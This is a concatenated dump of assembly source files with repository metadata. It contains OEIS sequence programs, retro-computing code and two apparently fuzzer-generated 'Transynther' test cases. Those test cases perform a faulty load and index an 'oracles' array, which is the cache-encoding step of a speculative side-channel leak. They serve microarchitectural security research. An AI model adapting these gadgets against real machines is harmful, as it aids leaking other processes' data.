65bf1577c09c61fcfb9dce79c41a177a2b7f4fc5
350
asm
Assembly
programs/oeis/126/A126951.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/126/A126951.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/126/A126951.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A126951: List of pairs: k followed by k^3. ; 1,1,2,8,3,27,4,64,5,125,6,216,7,343,8,512,9,729,10,1000,11,1331,12,1728,13,2197,14,2744,15,3375,16,4096,17,4913,18,5832,19,6859,20,8000,21,9261,22,10648,23,12167,24,13824,25,15625,26,17576,27,19683,28,21952 mov $4,$0 add $4,3 mov $1,$4 sub $1,1 div $1,2 mov $2,$4 mod $2,2 mov $3,$2 gcd $3,3 pow $1,$3
25
208
0.662857
2d830615a05c3be0c2cbe26179b2b9490fb3add7
690
asm
Assembly
oeis/014/A014719.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/014/A014719.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/014/A014719.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A014719: Squares of elements in Pascal triangle (by row) that are not 1. ; Submitted by Jamie Morken(s4) ; 4,9,9,16,36,16,25,100,100,25,36,225,400,225,36,49,441,1225,1225,441,49,64,784,3136,4900,3136,784,64,81,1296,7056,15876,15876,7056,1296,81,100,2025,14400,44100,63504,44100,14400,2025,100,121,3025,27225,108900,213444,213444,108900,27225,3025,121,144,4356,48400,245025,627264,853776,627264,245025,48400,4356,144,169,6084,81796,511225,1656369,2944656,2944656,1656369,511225,81796,6084,169,196,8281,132496,1002001,4008004,9018009,11778624,9018009,4008004,1002001,132496,8281,196,225,11025,207025,1863225 lpb $0 add $1,1 sub $0,$1 lpe add $0,1 add $1,2 bin $1,$0 pow $1,2 mov $0,$1
49.285714
500
0.762319
15033287bc4bf2b2e35a4b1bf29c26232ffce987
5,442
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1259.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1259.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1259.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0xb537, %r9 nop nop nop nop nop xor %r13, %r13 movl $0x61626364, (%r9) nop nop xor %rdx, %rdx lea addresses_WC_ht+0x18967, %rsi lea addresses_normal_ht+0x1dba7, %rdi nop nop nop nop sub %r9, %r9 mov $53, %rcx rep movsq nop and $11867, %r13 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r15 push %r9 push %rax push %rdx // Store lea addresses_PSE+0x12f9b, %r15 and %rdx, %rdx movb $0x51, (%r15) nop nop and %r15, %r15 // Store lea addresses_A+0x1e0a7, %rax nop nop sub $11783, %r10 mov $0x5152535455565758, %r12 movq %r12, %xmm0 vmovups %ymm0, (%rax) nop nop nop nop and $1978, %rax // Load lea addresses_PSE+0xd227, %r14 nop nop nop and %r15, %r15 vmovups (%r14), %ymm3 vextracti128 $0, %ymm3, %xmm3 vpextrq $1, %xmm3, %r12 nop nop nop xor $43950, %r12 // Store lea addresses_WC+0x1227, %r9 sub %r12, %r12 movb $0x51, (%r9) nop nop nop xor %r9, %r9 // Faulty Load lea addresses_WC+0x1227, %rax nop nop add $57999, %r15 vmovups (%rax), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %r12 lea oracles, %r10 and $0xff, %r12 shlq $12, %r12 mov (%r10,%r12,1), %r12 pop %rdx pop %rax pop %r9 pop %r15 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 1, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
41.541985
2,999
0.65656
1f7bcc234a1efd1cedcc4376722ef16f82eb8289
7,478
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_199.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_199.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0.log_21829_199.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x129fd, %rcx nop nop nop sub $14153, %r15 mov (%rcx), %r12 nop nop and $20569, %r9 lea addresses_normal_ht+0x12b50, %r8 nop cmp %r11, %r11 and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rdx nop and $8660, %r11 lea addresses_normal_ht+0x14f50, %rsi lea addresses_D_ht+0x76d0, %rdi nop nop add $2790, %r15 mov $65, %rcx rep movsl nop nop nop nop nop add %r9, %r9 lea addresses_WT_ht+0x7f50, %rdi nop nop xor $46586, %rcx movw $0x6162, (%rdi) nop nop inc %rsi lea addresses_normal_ht+0xfc90, %rsi lea addresses_WC_ht+0x11250, %rdi nop nop nop and %r12, %r12 mov $14, %rcx rep movsw add $32177, %rsi lea addresses_WC_ht+0x11290, %r15 clflush (%r15) nop nop nop nop cmp $37122, %rdi movups (%r15), %xmm1 vpextrq $0, %xmm1, %r12 nop nop nop xor %r12, %r12 lea addresses_WT_ht+0x1b550, %rdi nop nop sub %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm3 and $0xffffffffffffffc0, %rdi movaps %xmm3, (%rdi) add %r11, %r11 lea addresses_WT_ht+0x181f0, %r15 nop cmp $4633, %r11 mov (%r15), %ecx add %rsi, %rsi lea addresses_A_ht+0x10f54, %rdx nop inc %rcx mov (%rdx), %r8d nop nop nop nop nop cmp %r11, %r11 lea addresses_WT_ht+0xa750, %r12 nop sub $57985, %r15 vmovups (%r12), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %r11 nop nop inc %r9 lea addresses_WT_ht+0x16b48, %rdi nop inc %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm4 movups %xmm4, (%rdi) nop nop add %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rbp push %rdx push %rsi // Load lea addresses_A+0x1d0b8, %r8 nop nop sub $17829, %rbp mov (%r8), %r9w nop nop cmp %rbp, %rbp // Store mov $0x950, %r14 nop nop nop nop nop add %rdx, %rdx mov $0x5152535455565758, %r8 movq %r8, (%r14) nop add $31, %rbp // Store lea addresses_D+0xcbd8, %rbp nop sub $3907, %r8 movw $0x5152, (%rbp) nop nop dec %r9 // Faulty Load lea addresses_UC+0x7350, %r14 nop nop and %rsi, %rsi movups (%r14), %xmm2 vpextrq $0, %xmm2, %r9 lea oracles, %r14 and $0xff, %r9 shlq $12, %r9 mov (%r14,%r9,1), %r9 pop %rsi pop %rdx pop %rbp pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_P', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
35.273585
2,999
0.65325
a49e979f462984ccda08c30d035ed9a9d211da98
94
asm
Assembly
libsrc/_DEVELOPMENT/target/yaz180/default/_asci1_isr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/target/yaz180/default/_asci1_isr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/target/yaz180/default/_asci1_isr.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
PUBLIC _z180_int_asci1 EXTERN asm_asci1_interrupt defc _z180_int_asci1 = asm_asci1_interrupt
18.8
42
0.893617
286ea37bba71e4c34964bc43c86d26aa70eaedde
571
asm
Assembly
oeis/158/A158003.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158003.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158003.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158003: a(n) = 196*n^2 - n. ; 195,782,1761,3132,4895,7050,9597,12536,15867,19590,23705,28212,33111,38402,44085,50160,56627,63486,70737,78380,86415,94842,103661,112872,122475,132470,142857,153636,164807,176370,188325,200672,213411,226542,240065,253980,268287,282986,298077,313560,329435,345702,362361,379412,396855,414690,432917,451536,470547,489950,509745,529932,550511,571482,592845,614600,636747,659286,682217,705540,729255,753362,777861,802752,828035,853710,879777,906236,933087,960330,987965,1015992,1044411,1073222,1102425 add $0,1 mul $0,196 bin $0,2 div $0,98
71.375
499
0.807356
e40c298b2299aa0d876d184298c5d07e15cc653d
1,001
asm
Assembly
ffight/lcs/container/54.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/container/54.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/container/54.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 0030B2 ext.l D1 [boss+54, container+54, enemy+54, weapon+54] 0039FA movem.l D0-D3, -(A6) 0039FE movem.l D0-D3, -(A6) 009ACA dbra D5, $9ac8 051920 move.w #$300, ($54,A6) [container+50] 051926 move.w #$48, ($56,A6) [container+54] 0519D4 move.w ($a,A6), D0 0519F0 move.w #$400, ($54,A6) [container+50] 0519F6 move.w #$48, ($56,A6) [container+54] 05252C move.w #$800, ($54,A6) [container+50] 052532 move.w #$48, ($56,A6) [container+54] 0527A4 move.w #$300, ($54,A6) [container+50] 0527AA move.w #$48, ($56,A6) [container+54] 052808 move.w ($a,A6), D0 052826 move.w #$400, ($54,A6) [container+50] 05282C move.w #$48, ($56,A6) [container+54] 052A32 move.w #$480, ($54,A6) [container+50] 052A38 move.w #$48, ($56,A6) [container+54] 052AD2 move.w ($a,A6), D0 052AF0 move.w #$200, ($54,A6) [container+50] 052AF6 move.w #$48, ($56,A6) [container+54] copyright zengfr site:http://github.com/zengfr/romhack
38.5
63
0.632368
c8dbd37e8b70cebd79388bccf2c07e26c6c47edc
3,948
asm
Assembly
Build/Interpreters/Ozmoo/OzmooLoadPic/picloader.asm
polluks/Puddle-BuildTools
c1762d53a33002b62d8cffe3db129505a387bec3
[ "BSD-2-Clause" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
Build/Interpreters/Ozmoo/OzmooLoadPic/picloader.asm
polluks/Puddle-BuildTools
c1762d53a33002b62d8cffe3db129505a387bec3
[ "BSD-2-Clause" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
Build/Interpreters/Ozmoo/OzmooLoadPic/picloader.asm
polluks/Puddle-BuildTools
c1762d53a33002b62d8cffe3db129505a387bec3
[ "BSD-2-Clause" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ------------------------------------ ; HIBERNATED 2 LOADER ; ------------------------------------ ; Based on code by Fredrik Ramsberg ; and Ingo Hinterding aka @awsm9000. ; ------------------------------------ !to "picload.prg", cbm loader_address = $0334 irq_address = $03a0 kernal_setlfs = $ffba ; set file parameters kernal_setnam = $ffbd ; set file name kernal_load = $ffd5 ; load file kernal_close = $ffc3 ; close a file * = $0801 ; Basic line: "1 sys2061" !byte $0b, $08, $01,$00, $9e, $32, $30, $36, $31, 0, 0, 0 ; Copy bitmap data ldx #0 copy_bitmap: lda koala_base,x sta $e000,x inx bne copy_bitmap inc copy_bitmap + 2 inc copy_bitmap + 5 bne copy_bitmap ; Copy screen RAM and colour RAM copy_screen: lda koala_base + 8000,x sta $cc00,x lda koala_base + 8000 + 250,x sta $cc00 + 250,x lda koala_base + 8000 + 500,x sta $cc00 + 500,x lda koala_base + 8000 + 750,x sta $cc00 + 750,x lda koala_base + 8000 + 1000,x sta $d800,x lda koala_base + 8000 + 1250,x sta $d800 + 250,x lda koala_base + 8000 + 1500,x sta $d800 + 500,x lda koala_base + 8000 + 1750,x sta $d800 + 750,x inx cpx #250 bcc copy_screen ; Copy background colour lda koala_base + 10000 sta $d020 sta $d021 ; Show image ; Set bank lda $dd00 and #%11111100 sta $dd00 lda $d018 ; Set bitmap address to $e000 ora #%00001000 ; Set screen address to $cc00 and #%00001111 ora #%00110000 sta $d018 ; Set graphics mode lda $d011 and #%10011111 ora #%00100000 sta $d011 lda $d016 and #%11101111 ora #%00010000 sta $d016 ; Wait for <SPACE> ; getchar: ; jsr $ffe4 ; cmp #32 ; bne getchar copy_loader: ldx #loader_end - loader_start -1 - lda loader_start,x sta loader_address,x dex bpl - copy_irq: ldx #irq_end - irq_start -1 - lda irq_start,x sta irq_address,x dex bpl - set_irq sei ; set interrupt disable flag lda #$01 ; Set Interrupt Request Mask... sta $d01a ; ...we want IRQ by Rasterbeam (%00000001) lda #<irq_address ; point IRQ Vector to our custom irq routine ldx #>irq_address sta $0314 ; store in $314/$315 stx $0315 cli ; clear interrupt disable flag jmp loader_address ; starts the loader loader_start: lda #5 ldx #<filename ldy #>filename jsr kernal_setnam lda #1 ; file number ldx $ba ; Device# ldy #1 ; $01 means: load to address stored in file jsr kernal_setlfs lda #$00 ; $00 means: load to memory (not verify) jsr kernal_load unset_irq sei ; set interrupt disable flag lda #$00 ; Set Interrupt Request Mask... sta $d01a ; ...we want IRQ by Rasterbeam (%00000001) lda #$31 ; point IRQ Vector to our custom irq routine ldx #$ea sta $0314 ; store in $314/$315 stx $0315 cli ; clear interrupt disable flag ; Set graphics mode lda $d011 and #%10011111 sta $d011 lda $d016 and #%11101111 sta $d016 ; Set bank lda $dd00 and #%11111100 ora #%00000011 sta $dd00 ; Set screen address to $0400 and charmem to $d000 lda #%00010100 sta $d018 jmp $080d ; replaces the basic commands for run filename: !pet "story" loader_end irq_start: dec $d019 ; acknowledge IRQ / clear register for next interrupt ; version 1 with color flashes ; inc $d020 ; nop ; nop ; nop ; nop ; version 2 more subtle inc $d020 nop nop nop nop dec $d020 nop nop nop nop jmp $ea31 ; return to Kernel routine irq_end koala_base: !binary "loaderpic.kla",,2
19.258537
77
0.563323
d7919e75b68c386f5fcd5d7fa10b8795a347275e
9,304
asm
Assembly
45/runtime/rt/sninit.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/sninit.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
45/runtime/rt/sninit.asm
minblock/msdos
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
[ "Apache-2.0" ]
null
null
null
TITLE SNINIT - Sound and Play Initialization/Termination module ;*** ;SNINIT.ASM - Sound/Play initialization/termination module ; ; Copyright <C> 1986, Microsoft Corporation ; ;Purpose: ; This module contains Sound/Music specific initialization ; and termination support for the BASIC 3.0 runtime. This module ; will only be present in a user's program when a program contains ; statements or features which need Sound/Play support. ; ;****************************************************************************** INCLUDE switch.inc INCLUDE rmacros.inc ; ; Code Segments ; useSeg <INIT_CODE> ;Initialization useSeg <SN_TEXT> ;Operating System useSeg <DV_TEXT> ; ; Data Segments ; useSeg <_BSS> ;runtime data (uninitialized) useSeg <_DATA> ;runtime data (initialized) useSeg <XIB> ; XIB and XIE must bracket XI! useSeg <XI> ;initializer segment useSeg <XIE> INCLUDE seg.inc INCLUDE compvect.inc ; component vectors INCLUDE idmac.inc INCLUDE ibmunv.inc sBegin DV_TEXT externNP B$NearRet ;for disp vectors in compvect.inc sEnd DV_TEXT INITIALIZER B$xSNINI ;put 